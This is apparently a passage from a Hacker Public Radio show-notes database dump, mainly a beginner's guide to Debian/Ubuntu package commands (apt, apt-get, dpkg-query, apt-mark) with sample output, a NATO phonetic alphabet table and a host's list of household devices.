InRelease [109 kB]\r\nHit:4 https://mirror.cs.jmu.edu/pub/linuxmint/packages ulyana Release\r\nHit:5 https://mirror.cogentco.com/pub/linux/ubuntu focal InRelease\r\nHit:6 https://mirror.cogentco.com/pub/linux/ubuntu focal-updates InRelease\r\nHit:7 https://archive.canonical.com/ubuntu focal InRelease\r\nHit:8 https://mirror.cogentco.com/pub/linux/ubuntu focal-backports InRelease\r\nFetched 109 kB in 1s (158 kB/s)\r\nReading package lists...\r\n\r\n---\r\n\r\nNew Report\r\n\r\n---\r\n\r\nbrutespray - Python bruteforce tool\r\ndindel - determines indel calls from short-read data\r\ndoscan - port scanner for discovering services on large networks\r\nforensics-all - Debian Forensics Environment - essential components (metapackage)\r\nforensics-all-gui - Debian Forensics Environment - GUI components (metapackage)\r\nlibfile-map-perl - Perl module providing simple and safe memory mapping\r\nlibnmap-parser-perl - module to parse nmap scan results with perl\r\nlibwlocate-dev - Library for doing location lookup based on free openwlanmap.org data\r\nlibwlocate0 - Library for doing location lookup based on free openwlanmap.org data\r\nmapsembler2 - bioinformatics targeted assembly software\r\nmasscan - TCP port scanner\r\nncat - NMAP netcat reimplementation\r\nncrack - High-speed network authentication cracking tool\r\nndiff - The Network Mapper - result compare utility\r\nnmap - The Network Mapper\r\nnmap-common - Architecture independent files for nmap\r\nnmapsi4 - graphical interface to nmap, the network scanner\r\np0f - Passive OS fingerprinting tool\r\npads - Passive Asset Detection System\r\npnscan - Multi threaded port scanner\r\npsad - Port Scan Attack Detector\r\npython-libnmap-doc - Python NMAP Library (common documentation)\r\npython3-libnmap - Python 3 NMAP library\r\npython3-nmap - Python3 interface to the Nmap port scanner\r\npython3-scapy - Packet generator/sniffer and network scanner/discovery (Python 3)\r\nsamblaster - marks duplicates, extracts discordant/split reads\r\ntophat-recondition - post-processor for TopHat unmapped reads\r\nxprobe - Remote OS identification\r\nxscreensaver-gl - GL(Mesa) screen saver modules for screensaver frontends\r\n\r\n---\r\n\r\nNew Report\r\n\r\n---\r\n\r\nnmap\r\n  Depends: nmap-common\r\n  Depends: libc6\r\n  Depends: libgcc-s1\r\n  Depends: liblinear4\r\n  Depends: liblua5.3-0\r\n  Depends: libpcap0.8\r\n  Depends: libpcre3\r\n  Depends: libssl1.1\r\n  Depends: libstdc++6\r\n  Depends: lua-lpeg\r\n  Depends: zlib1g\r\n  Suggests: ncat\r\n  Suggests: ndiff\r\n  Suggests: &lt;zenmap&gt;\r\n</code></pre>\r\n<h2 id=\"nato-phonetic-alphabet\">NATO Phonetic Alphabet</h2>\r\n<p>The NATO phonetic alphabet is a Spelling Alphabet; a set of words used instead of letters in oral communication (i.e. over the phone or military radio). Each word (\"code word\") stands for its initial letter (alphabetical \"symbol\"). The 26 code words in the NATO phonetic alphabet are assigned to the 26 letters of the English alphabet in alphabetical order as follows: Symbol, Code Word, Morse Code, Phonic.</p>\r\n<p>(pronunciation)</p>\r\n<pre><code>A, Alfa/Alpha, AL FAH.\r\nB, Bravo, BRAH VOH.\r\nC, Charlie, CHAR LEE.\r\nD, Delta, DELL TAH.\r\nE, Echo, ECK OH.\r\nF, Foxtrot, FOKS TROT.\r\nG, Golf, GOLF.\r\nH, Hotel, HOH TELL.\r\nI, India, IN DEE AH.\r\nJ, Juliett, JEW LEE ETT.\r\nK, Kilo, KEY LOH.\r\nL, Lima, LEE MAH.\r\nM, Mike, MIKE.\r\nN, November, NO VEMBER.\r\nO, Oscar, OSS CAH.\r\nP, Papa, PAH PAH.\r\nQ, Quebec, KEH BECK.\r\nR, Romeo, ROW ME OH.\r\nS, Sierra, SEE AIRRAH.\r\nT, Tango, TANG OH.\r\nU, Uniform, YOU NEE FORM.\r\nV, Victor, VIK TAH.\r\nW, Whiskey, WISS KEY.\r\nX, X-ray, ECKS RAY.\r\nY, Yankee, YANG KEY.\r\nZ, Zulu, ZOO LOO.\r\n</code></pre>\r\n<h1 id=\"hacker-public-radio\">Hacker Public Radio</h1>\r\n<p><strong>Correspondent:</strong> <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" title=\"Darwin works too.\">Some Guy On The Internet.</a> <strong>Host ID:</strong> 391 <strong>E-mail:</strong> <a href=\"Lyunpaw@gmail.com\" title=\"use  hpr391  as the email subject.\">Lyunpaw@gmail.com</a></p>\r\n<ul>\r\n<li>use <code>hpr391</code> as the subject for all emails. If not, junk filter.</li>\r\n</ul>\r\n<p><strong>license:</strong> <a href=\"https://creativecommons.org/licenses/by-sa/4.0/legalcode\" title=\"CC BY-SA 4.0\">Creative Commons Attribution-ShareAlike 4.0 International</a></p>\r\n<p><strong>Shows:</strong></p>\r\n<ol>\r\n<li><p><a href=\"https://hackerpublicradio.org/eps.php?id=3272\" title=\"hpr3272\">In GNU/Linux, there is no \"diversity\", we\'re all just data.</a></p>\r\n<ul>\r\n<li>ogg: <a href=\"https://hackerpublicradio.org/local/hpr3272.ogg\">https://hackerpublicradio.org/local/hpr3272.ogg</a></li>\r\n<li>spx: <a href=\"https://hackerpublicradio.org/local/hpr3272.spx\">https://hackerpublicradio.org/local/hpr3272.spx</a></li>\r\n<li>mp3: <a href=\"https://hackerpublicradio.org/local/hpr3272.mp3\">https://hackerpublicradio.org/local/hpr3272.mp3</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/eps.php?id=3273\" title=\"hpr3273\">Embrace Firefox</a></p>\r\n<ul>\r\n<li>ogg: <a href=\"https://hackerpublicradio.org/local/hpr3273.ogg\">https://hackerpublicradio.org/local/hpr3273.ogg</a></li>\r\n<li>spx: <a href=\"https://hackerpublicradio.org/local/hpr3273.spx\">https://hackerpublicradio.org/local/hpr3273.spx</a></li>\r\n<li>mp3: <a href=\"https://hackerpublicradio.org/local/hpr3273.mp3\">https://hackerpublicradio.org/local/hpr3273.mp3</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/eps.php?id=3282\" title=\"hpr3282\">HP Laptop with AMD Ryzen 3 Mobile with Radeon Graphics</a></p>\r\n<ul>\r\n<li>ogg: <a href=\"https://hackerpublicradio.org/local/hpr3282.ogg\">https://hackerpublicradio.org/local/hpr3282.ogg</a></li>\r\n<li>spx: <a href=\"https://hackerpublicradio.org/local/hpr3282.spx\">https://hackerpublicradio.org/local/hpr3282.spx</a></li>\r\n<li>mp3: <a href=\"https://hackerpublicradio.org/local/hpr3282.mp3\">https://hackerpublicradio.org/local/hpr3282.mp3</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/eps.php?id=3298\" title=\"hpr3298\">Poisoning The Well</a></p>\r\n<ul>\r\n<li>ogg: <a href=\"https://hackerpublicradio.org/local/hpr3298.ogg\">https://hackerpublicradio.org/local/hpr3298.ogg</a></li>\r\n<li>spx: <a href=\"https://hackerpublicradio.org/local/hpr3298.spx\">https://hackerpublicradio.org/local/hpr3298.spx</a></li>\r\n<li>mp3: <a href=\"https://hackerpublicradio.org/local/hpr3298.mp3\">https://hackerpublicradio.org/local/hpr3298.mp3</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/eps.php?id=3308\" title=\"hpr3308\">let\'s talk about Thunderbird</a></p>\r\n<ul>\r\n<li>ogg: <a href=\"https://hackerpublicradio.org/local/hpr3308.ogg\">https://hackerpublicradio.org/local/hpr3308.ogg</a></li>\r\n<li>spx: <a href=\"https://hackerpublicradio.org/local/hpr3308.spx\">https://hackerpublicradio.org/local/hpr3308.spx</a></li>\r\n<li>mp3: <a href=\"https://hackerpublicradio.org/local/hpr3308.mp3\">https://hackerpublicradio.org/local/hpr3308.mp3</a></li>\r\n</ul></li>\r\n</ol>\r\n<p><a rel=\"license\" href=\"https://creativecommons.org/licenses/by-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"https://creativecommons.org/licenses/by-sa/4.0/\">Creative Commons Attribution-ShareAlike 4.0 International License</a>.</p>\r\n',391,98,0,'CC-BY-SA','terminal, apt-get, apt-cache, .bashrc',0,0,1),
(3354,'2021-06-10','My Devices',1455,'I walk around my house and talk about any interesting Devices i have','N/A\r\n\r\n\r\n<p>\r\n<small>Added by Ken</small><br />\r\noperat0r and Son walk around the house talking about the devices that he has.\r\n</p>\r\n<ol>\r\n<li>Android meeting alarms</li>\r\n<li><a href=\"https://www.mozilla.org/en-US/firefox/new/\">Firefox</a></li>\r\n<li><a href=\"https://privacybadger.org/\">Privacy Badger</a></li>\r\n<li><a href=\"https://ublockorigin.com/\">UBlock Origin</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3321\">DNS66</a></li>\r\n<li><a href=\"https://voice.google.com/\">Google Voice</a></li>\r\n<li>CCTV Camera, to Zone Minder</li>\r\n<li><a href=\"https://pjreddie.com/darknet/\">DarkNet</a></li>\r\n<li><a href=\"https://kodi.tv/\">Kodi</a></li>\r\n<li><a href=\"https://sonarr.tv/\">sonarr</a></li>\r\n<li><a href=\"https://radarr.video/\">radarr</a></li>\r\n<li><a href=\"https://ombi.io/\">Ombi</a></li>\r\n<li><a href=\"https://www.plex.tv/\">Plex</a></li>\r\n<li><a href=\"https://www.accuweather.com/\">AccuWeather</a></li>\r\n<li><a href=\"https://blueteamlabs.online/\">Blue Team Labs</a></li>\r\n<li>Admin mode on bluethoot TV</li>\r\n<li>iroso ncf wireless bluetooth headset</li>\r\n<li><a href=\"https://www.amazon.com/Bluetooth-Receiver-Transmitter-Wireless-Headphones/dp/B00VJTIMIS\">Keedox V4.0 Bluetooth Music Receiver Transmitter</a></li>\r\n<li><a href=\"https://www.hunterindustries.com/\">Hunter Irrigation</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Infiniti_G-series_(Q40/Q60)\">Nissan Infiniti Q40</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Wii_U\">Nintendo Wii U</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Nintendo_Switch\">Nintendo Switch</a></li>\r\n<li><a href=\"https://gorillatough.com/\">Gorilla Glue</a></li>\r\n<li>Chargemaster 3000</li>\r\n<li>Get splitbox AC</li>\r\n<li><a href=\"https://steelseries.com/gaming-headsets\">Steel Series HeadSet</a></li>\r\n<li><a href=\"https://www.tindie.com/products/RobG/msp430-nixie-clock-kit/\">MSP430 Nixie Clock kit from RobG on Tindie</a></li>\r\n<li><a href=\"https://play.google.com/store/apps/details?id=co.brili.routines&hl=en_US&gl=US\">Brili Routines - Visual Timer for Kids</a></li>\r\n<li><a href=\"https://www.sonicalert.com/SBB500SS-Alarm-Clock\">Sonic Bomb Alarm Clock</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Chromecast\">Chromecast</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Pulse_oximetry\">Pulse oximetry</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Transcutaneous_electrical_nerve_stimulation\">Transcutaneous electrical nerve stimulation (TENS)</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Roomba\">Roomba</a></li>\r\n<li><a href=\"https://www.zircon.com/categories/water-detectors/\">Zircom Wireless Water Detectors</a></li>\r\n</ol>',36,0,0,'CC-BY-SA','devices',0,0,1),
(3357,'2021-06-15','My terminal journey, part 02.',1890,'Becoming terminal friendly.','<h2 id=\"discovering-the-packages-vertical-lists\">Discovering the packages; vertical lists.</h2>\r\n<p><a href=\"https://en.wikipedia.org/wiki/APT_(software)\" title=\"wiki\">apt package manager</a></p>\r\n<ul>\r\n<li><p><strong>First Command:</strong> <code>sudo apt list --upgradeable</code></p></li>\r\n<li><p><strong>Command Breakdown:</strong></p>\r\n<ul>\r\n<li><code>sudo</code> is <strong>root privileges</strong> (to become admin for a single command).</li>\r\n<li><code>apt</code> is the Command Name.</li>\r\n<li><code>list</code> to display a list of packages satisfying certain <strong>criteria</strong>.</li>\r\n<li><code>--upgradeable</code> the <strong>criteria</strong></li>\r\n</ul></li>\r\n<li><p>Command Standard Output: (abridged)</p>\r\n<pre><code>Listing...\r\nalsa-ucm-conf/focal-updates,focal-updates 1.2.2-1ubuntu0.7 all [upgradable from: 1.2.2-1ubuntu0.6]\r\nalsa-utils/focal-updates 1.2.2-1ubuntu2.1 amd64 [upgradable from: 1.2.2-1ubuntu2]\r\nbluetooth/focal-updates,focal-updates 5.53-0ubuntu3.1 all [upgradable from: 5.53-0ubuntu3]\r\ngir1.2-webkit2-4.0/focal-updates,focal-security 2.32.0-0ubuntu0.20.04.1 amd64 [upgradable from: 2.30.6-0ubuntu0.20.04.1]\r\ngoogle-chrome-stable/stable 90.0.4430.212-1 amd64 [upgradable from: 90.0.4430.93-1]\r\niio-sensor-proxy/focal-updates 2.8-1ubuntu1 amd64 [upgradable from: 2.8-1]\r\nqemu-system-x86/focal-updates 1:4.2-3ubuntu6.16 amd64 [upgradable from: 1:4.2-3ubuntu6.15]\r\nqemu-utils/focal-updates 1:4.2-3ubuntu6.16 amd64 [upgradable from: 1:4.2-3ubuntu6.15]\r\nsamba-common-bin/focal-updates,focal-security 2:4.11.6+dfsg-0ubuntu1.8 amd64 [upgradable from:     2:4.11.6+dfsg-0ubuntu1.6]\r\n</code></pre></li>\r\n</ul>\r\n<hr />\r\n<h2 id=\"discovering-the-packages-horizontal-list\">Discovering the packages; horizontal list.</h2>\r\n<p><a href=\"https://linux.die.net/man/8/apt-get\" title=\"apt-get manpage\">apt-get package manager</a></p>\r\n<ul>\r\n<li><p><strong>Second Command:</strong> <code>sudo apt-get -u upgrade --assume-no</code></p></li>\r\n<li><p><strong>Command Breakdown:</strong></p>\r\n<ul>\r\n<li><code>sudo</code> is <strong>root privileges</strong> (to become admin for a single command).</li>\r\n<li><code>apt-get</code> is the Command Name.</li>\r\n<li><code>-u</code> or <code>--show-upgraded</code> list of packages that are to be upgraded; must be used with <code>upgrade</code>.</li>\r\n<li><code>upgrade</code> is used to install the newest versions of all packages currently installed.</li>\r\n<li><code>--assume-no</code> Automatically answers \"No\" when the command asks, “Do you want to continue? [Y/n]”. (Do you want to upgrade at this moment? No. You get it).</li>\r\n</ul></li>\r\n<li><p><strong>Note:</strong> Linux Mint 20 manpage for <code>apt-get</code> does not include the <code>-u</code> option or description.</p>\r\n<pre><code>-u, --show-upgraded\r\nShow upgraded packages. Print out a list of all packages that are to be upgraded.\r\n</code></pre></li>\r\n<li><p>Command Standard Output:</p>\r\n<pre><code>Reading package lists...\r\nBuilding dependency tree...\r\nReading state information...\r\nCalculating upgrade...\r\nThe following packages were automatically installed and are no longer required:\r\n  libllvm10 libllvm10:i386 libnvidia-common-450 libnvidia-compute-455:i386\r\n  libnvidia-decode-455:i386 libnvidia-encode-455:i386 libnvidia-fbc1-455:i386\r\n  libnvidia-gl-455:i386 libnvidia-ifr1-455:i386 nvidia-kernel-common-455\r\n  nvidia-kernel-source-455 nvidia-utils-455 xserver-xorg-video-nvidia-455\r\nUse &#39;sudo apt autoremove&#39; to remove them.\r\nThe following packages have been kept back:\r\n  libnvidia-common-450 libnvidia-common-460 linux-generic\r\n  linux-headers-generic linux-image-generic\r\nThe following packages will be upgraded:\r\n  alsa-ucm-conf alsa-utils bluetooth bluez bluez-cups bluez-obexd firefox\r\n  firefox-locale-en flatpak gir1.2-flatpak-1.0 gir1.2-javascriptcoregtk-4.0\r\n  gir1.2-webkit2-4.0 google-chrome-stable iio-sensor-proxy libasound2\r\n  libasound2-data libatopology2 libbluetooth3 libexiv2-27 libflatpak0\r\n  libjavascriptcoregtk-4.0-18 liblightdm-gobject-1-0 libmysqlclient21\r\n  libnetplan0 libsmbclient libvirt-clients libvirt-daemon\r\n  libvirt-daemon-driver-qemu libvirt-daemon-driver-storage-rbd\r\n  libvirt-daemon-system libvirt-daemon-system-systemd libvirt0 libwacom-bin\r\n  libwacom-common libwacom2 libwbclient0 libwebkit2gtk-4.0-37 libxmlb1 lightdm\r\n  linux-firmware linux-libc-dev netplan.io openvpn python3-apport\r\n  python3-problem-report python3-samba python3-yaml qemu-block-extra qemu-kvm\r\n  qemu-system-common qemu-system-data qemu-system-gui qemu-system-x86\r\n  qemu-utils samba-common samba-common-bin samba-libs smbclient thermald\r\n  xul-ext-lightning\r\n60 upgraded, 0 newly installed, 0 to remove and 5 not upgraded.\r\nNeed to get 295 MB of archives.\r\nAfter this operation, 4,023 kB of additional disk space will be used.\r\nDo you want to continue? [Y/n] N\r\nAbort.\r\n</code></pre></li>\r\n</ul>\r\n<hr />\r\n<h2 id=\"discovering-the-packages-colums--rows\">Discovering the packages; colums &amp; rows.</h2>\r\n<p><a href=\"https://linux.die.net/man/1/dpkg-query\" title=\"dpkg\">dpkg-query</a></p>\r\n<ul>\r\n<li><p><strong>Third Command:</strong> <code>dpkg-query -l</code></p></li>\r\n<li><p><strong>Command Breakdown:</strong></p>\r\n<ul>\r\n<li><code>dpkg-query</code> is the Command Name.</li>\r\n<li><code>-l</code> or <code>--list</code> list all installed packages on your system.</li>\r\n</ul></li>\r\n<li><p><strong>Fourth Command:</strong> <code>dpkg-query -L add-apt-key</code></p></li>\r\n<li><p><strong>Command Breakdown:</strong></p>\r\n<ul>\r\n<li><code>dpkg-query</code> is the Command Name.</li>\r\n<li><code>-L</code> or <code>--listfiles</code> list specific package, <strong>add-apt-key</strong> in this example, installed on your system.</li>\r\n</ul></li>\r\n<li><p>Command Standard Output: (abridged)</p>\r\n<ul>\r\n<li><code>dpkg-query -l</code> all installed packages.\r\n<pre><code>Desired=Unknown/Install/Remove/Purge/Hold\r\n| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend\r\n|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)\r\n||/ Name                                              Version                               Architecture Description\r\n+++-=================================================-=====================================-============-======================================================================================================\r\nii  accountsservice                                   0.6.55-0ubuntu12~20.04.4              amd64        query and manipulate user account information\r\nii  acl                                               2.2.53-6                              amd64        access control list - utilities\r\nii  acpi-support                                      0.143                                 amd64        scripts for handling many ACPI events\r\nii  acpid                                             1:2.0.32-1ubuntu1                     amd64        Advanced Configuration and Power Interface event daemon\r\nii  add-apt-key                                       1.0-0.5                               all          Command line tool to add GPG keys to the APT keyring\r\nii  adduser                                           3.118ubuntu2                          all          add and remove users and groups\r\nii  adwaita-icon-theme                                3.36.1-2ubuntu0.20.04.2               all          default icon theme of GNOME (small subset)\r\nii  adwaita-icon-theme-full                           3.36.1-2ubuntu0.20.04.2               all          default icon theme of GNOME\r\n</code></pre></li>\r\n<li><code>dpkg-query -L add-apt-key</code> single package.\r\n<pre><code>/.\r\n/usr\r\n/usr/share\r\n/usr/share/doc\r\n/usr/share/doc/add-apt-key\r\n/usr/share/doc/add-apt-key/README\r\n/usr/share/doc/add-apt-key/AUTHORS\r\n/usr/share/doc/add-apt-key/README.Debian\r\n/usr/share/doc/add-apt-key/copyright\r\n/usr/share/doc/add-apt-key/changelog.Debian.gz\r\n/usr/share/man\r\n/usr/share/man/man8\r\n/usr/share/man/man8/add-apt-key.8.gz\r\n/usr/sbin\r\n/usr/sbin/add-apt-key\r\n/etc\r\n/etc/default\r\n/etc/default/add-apt-key\r\n</code></pre></li>\r\n</ul></li>\r\n</ul>\r\n<hr />\r\n<h2 id=\"marking-the-packages-hold\">Marking the packages; hold.</h2>\r\n<p><a href=\"https://manpages.debian.org/stretch/apt/apt-mark.8.en.html\" title=\"apt-mark\">apt-mark</a></p>\r\n<ul>\r\n<li><p><strong>Fifth &amp; Sixth Commands:</strong> <code>sudo apt-mark hold google-chrome-stable; sudo apt-mark showhold</code></p></li>\r\n<li><p><strong>Command Breakdown:</strong></p>\r\n<ul>\r\n<li><code>sudo</code> is <strong>root privileges</strong> (to become admin for a single command).</li>\r\n<li><code>apt-mark</code> is the Command Name.</li>\r\n<li><code>hold</code> will <strong>prevent</strong> the package from being automatically installed, upgraded or removed.</li>\r\n<li><code>google-chrome-stable</code> is the package effected by hold.</li>\r\n<li><code>;</code> is the end of a command; command seperation.</li>\r\n<li><code>sudo</code> is <strong>root privileges</strong> (to become admin for a single command).</li>\r\n<li><code>apt-mark</code> is the Command Name.</li>\r\n<li><code>showhold</code> will print a list of packages effected by <code>hold</code>.</li>\r\n</ul></li>\r\n<li><p>Command Standard Output: (abridged)</p>\r\n<pre><code>google-chrome-stable set on hold.\r\n</code></pre></li>\r\n</ul>\r\n<hr />\r\n<h2 id=\"marking-the-packages-unhold\">Marking the packages; unhold.</h2>\r\n<p><a href=\"https://manpages.debian.org/stretch/apt/apt-mark.8.en.html\" title=\"apt-mark\">apt-mark</a></p>\r\n<ul>\r\n<li><p><strong>Seventh Command:</strong> <code>sudo apt-mark unhold google-chrome-stable</code></p></li>\r\n<li><p><strong>Command Breakdown:</strong></p>\r\n<ul>\r\n<li><code>sudo</code> is <strong>root privileges</strong> (to become admin for a single command).</li>\r\n<li><code>apt-mark</code> is the Command Name.</li>\r\n<li><code>unhold</code> will remove <code>hold</code>, allowing the package to be automatically installed, upgraded or removed.</li>\r\n<li><code>google-chrome-stable</code> is the package once effected by hold; no longer due to <code>unhold</code>.</li>\r\n</ul></li>\r\n<li><p><strong>Note:</strong> <code>showhold</code> will now print blank/nothing because packages are no longer effected by <code>hold</code>.</p></li>\r\n</ul>\r\n<hr />\r\n<h2 id=\"exporting-manpage-to-text-file\">Exporting Manpage to text file.</h2>\r\n<ul>\r\n<li><strong>Bonus Command:</strong> it\'s a big one.</li>\r\n</ul>\r\n<pre><code>touch apt-get01.txt; date &gt; ~/Documents/apt-get01.txt; echo -e &quot;\\n&quot; &gt;&gt; ~/Documents/apt-get01.txt; apt-get --version &gt;&gt; ~/Documents/apt-get01.txt; echo -e &quot;\\n\\napt-get --help\\n\\n&quot; &gt;&gt; ~/Documents/apt-get01.txt; apt-get --help &gt;&gt; ~/Documents/apt-get01.txt; echo -e &quot;\\n\\nman apt-get\\n\\n&quot; &gt;&gt; ~/Documents/apt-get01.txt; man apt-get &gt;&gt; ~/Documents/apt-get01.txt; echo -e &quot;\\n\\nCompleted.&quot;;\r\n</code></pre>\r\n<ul>\r\n<li><strong>Command Breakdown:</strong>\r\n<ul>\r\n<li><p><code>touch apt-get01.txt;</code> this command will create the \"apt-get01.txt\" file.</p></li>\r\n<li><p><code>date &gt; ~/Documents/apt-get01.txt;</code> this command stores the date and time with the \"apt-get01.txt\" file.</p></li>\r\n<li><p><code>echo -e \"\\n\" &gt;&gt; ~/Documents/apt-get01.txt;</code> this command gives us a blank line or new line within the \"apt-get01.txt\" file.</p></li>\r\n<li><p><code>apt-get --version &gt;&gt; ~/Documents/apt-get01.txt;</code> this command adds the version of <code>apt-get</code> we have installed to the \"apt-get01.txt\" file.</p></li>\r\n<li><p><code>echo -e \"\\n\\napt-get --help\\n\\n\" &gt;&gt; ~/Documents/apt-get01.txt;</code> this command adds to new lines or blank lines to the file then, adds the label \"apt-get -- help\" to the \"apt-get01.txt\" file.</p></li>\r\n<li><p><code>apt-get --help &gt;&gt; ~/Documents/apt-get01.txt;</code> this command adds the standard output of <code>apt-get --help</code> to the \"apt-get01.txt\" file.</p></li>\r\n<li><p><code>echo -e \"\\n\\nman apt-get\\n\\n\" &gt;&gt; ~/Documents/apt-get01.txt;</code> intentionally left blank.</p></li>\r\n<li><p><code>man apt-get &gt;&gt; ~/Documents/apt-get01.txt;</code> intentionally left blank.</p></li>\r\n<li><p><code>echo -e \"\\n\\nCompleted.\";</code> intentionally left blank.</p></li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"nato-phonetic-alphabet\">NATO Phonetic Alphabet</h2>\r\n<p>The NATO phonetic alphabet is a Spelling Alphabet; a set of words used instead of letters in oral communication (i.e. over the phone or military radio). Each word (\"code word\") stands for its initial letter (alphabetical \"symbol\"). The 26 code words in the NATO phonetic alphabet are assigned to the 26 letters of the English alphabet in alphabetical order as follows: Symbol, Code Word, Morse Code, Phonic.</p>\r\n<p>(pronunciation)</p>\r\n<pre><code>A, Alfa/Alpha, AL FAH.\r\nB, Bravo, BRAH VOH.\r\nC, Charlie, CHAR LEE.\r\nD, Delta, DELL TAH.\r\nE, Echo, ECK OH.\r\nF, Foxtrot, FOKS TROT.\r\nG, Golf, GOLF.\r\nH, Hotel, HOH TELL.\r\nI, India, IN DEE AH.\r\nJ, Juliett, JEW LEE ETT.\r\nK, Kilo, KEY LOH.\r\nL, Lima, LEE MAH.\r\nM, Mike, MIKE.\r\nN, November, NO VEMBER.\r\nO, Oscar, OSS CAH.\r\nP, Papa, PAH PAH.\r\nQ, Quebec, KEH BECK.\r\nR, Romeo, ROW ME OH.\r\nS, Sierra, SEE AIRRAH.\r\nT, Tango, TANG OH.\r\nU, Uniform, YOU NEE FORM.\r\nV, Victor, VIK TAH.\r\nW, Whiskey, WISS KEY.\r\nX, X-ray, ECKS RAY.\r\nY, Yankee, YANG KEY.\r\nZ, Zulu, ZOO LOO.\r\n</code></pre>\r\n<h1 id=\"hacker-public-radio\">Hacker Public Radio</h1>\r\n<p><strong>Correspondent:</strong> <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" title=\"Darwin works too.\">Some Guy On The Internet.</a> <strong>Host ID:</strong> 391 <strong>E-mail:</strong> <a href=\"Lyunpaw@gmail.com\" title=\"use  hpr391  as the email subject.\">Lyunpaw@gmail.com</a></p>\r\n<ul>\r\n<li>use <code>hpr391</code> as the subject for all emails. If not, junk filter.</li>\r\n</ul>\r\n<p><strong>license:</strong> <a href=\"https://creativecommons.org/licenses/by-sa/4.0/legalcode\" title=\"CC BY-SA 4.0\">Creative Commons Attribution-ShareAlike 4.0 International</a></p>\r\n<p><strong>Shows:</strong></p>\r\n<ol>\r\n<li><p><a href=\"https://hackerpublicradio.org/eps.php?id=3272\" title=\"hpr3272\">In GNU/Linux, there is no \"diversity\", we\'re all just data.</a></p>\r\n<ul>\r\n<li>ogg: <a href=\"https://hackerpublicradio.org/local/hpr3272.ogg\">https://hackerpublicradio.org/local/hpr3272.ogg</a></li>\r\n<li>spx: <a href=\"https://hackerpublicradio.org/local/hpr3272.spx\">https://hackerpublicradio.org/local/hpr3272.spx</a></li>\r\n<li>mp3: <a href=\"https://hackerpublicradio.org/local/hpr3272.mp3\">https://hackerpublicradio.org/local/hpr3272.mp3</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/eps.php?id=3273\" title=\"hpr3273\">Embrace Firefox</a></p>\r\n<ul>\r\n<li>ogg: <a href=\"https://hackerpublicradio.org/local/hpr3273.ogg\">https://hackerpublicradio.org/local/hpr3273.ogg</a></li>\r\n<li>spx: <a href=\"https://hackerpublicradio.org/local/hpr3273.spx\">https://hackerpublicradio.org/local/hpr3273.spx</a></li>\r\n<li>mp3: <a href=\"https://hackerpublicradio.org/local/hpr3273.mp3\">https://hackerpublicradio.org/local/hpr3273.mp3</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/eps.php?id=3282\" title=\"hpr3282\">HP Laptop with AMD Ryzen 3 Mobile with Radeon Graphics</a></p>\r\n<ul>\r\n<li>ogg: <a href=\"https://hackerpublicradio.org/local/hpr3282.ogg\">https://hackerpublicradio.org/local/hpr3282.ogg</a></li>\r\n<li>spx: <a href=\"https://hackerpublicradio.org/local/hpr3282.spx\">https://hackerpublicradio.org/local/hpr3282.spx</a></li>\r\n<li>mp3: <a href=\"https://hackerpublicradio.org/local/hpr3282.mp3\">https://hackerpublicradio.org/local/hpr3282.mp3</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/eps.php?id=3298\" title=\"hpr3298\">Poisoning The Well</a></p>\r\n<ul>\r\n<li>ogg: <a href=\"https://hackerpublicradio.org/local/hpr3298.ogg\">https://hackerpublicradio.org/local/hpr3298.ogg</a></li>\r\n<li>spx: <a href=\"https://hackerpublicradio.org/local/hpr3298.spx\">https://hackerpublicradio.org/local/hpr3298.spx</a></li>\r\n<li>mp3: <a href=\"https://hackerpublicradio.org/local/hpr3298.mp3\">https://hackerpublicradio.org/local/hpr3298.mp3</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/eps.php?id=3308\" title=\"hpr3308\">let\'s talk about Thunderbird</a></p>\r\n<ul>\r\n<li>ogg: <a href=\"https://hackerpublicradio.org/local/hpr3308.ogg\">https://hackerpublicradio.org/local/hpr3308.ogg</a></li>\r\n<li>spx: <a href=\"https://hackerpublicradio.org/local/hpr3308.spx\">https://hackerpublicradio.org/local/hpr3308.spx</a></li>\r\n<li>mp3: <a href=\"https://hackerpublicradio.org/local/hpr3308.mp3\">https://hackerpublicradio.org/local/hpr3308.mp3</a></li>\r\n</ul></li>\r\n</ol>\r\n<p><a rel=\"license\" href=\"https://creativecommons.org/licenses/by-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"https://creativecommons.org/licenses/by-sa/4.0/\">Creative Commons Attribution-ShareAlike 4.0 International License</a>.</p>\r\n',391,98,0,'CC-BY-SA','terminal, apt-get, apt-cache, apt-mark, dpkg',0,0,1),
(3358,'2021-06-16','BlastEm! A wicked awesome Sega Genesis/Megadrive emulator',1320,'This is an interview with the author of BlastEm, a Sega Genesis/Megadrive emulator','<p>In this Hacker Public Radio we talk to Mike about his emulator, BlastEm.</p>\r\n<p>This is the official BlastEm url: <a href=\"https://www.retrodev.com/blastem/\" class=\"uri\">https://www.retrodev.com/blastem/</a></p>\r\n',115,0,0,'CC-BY-SA','genesis megadrive emulation',0,0,1),
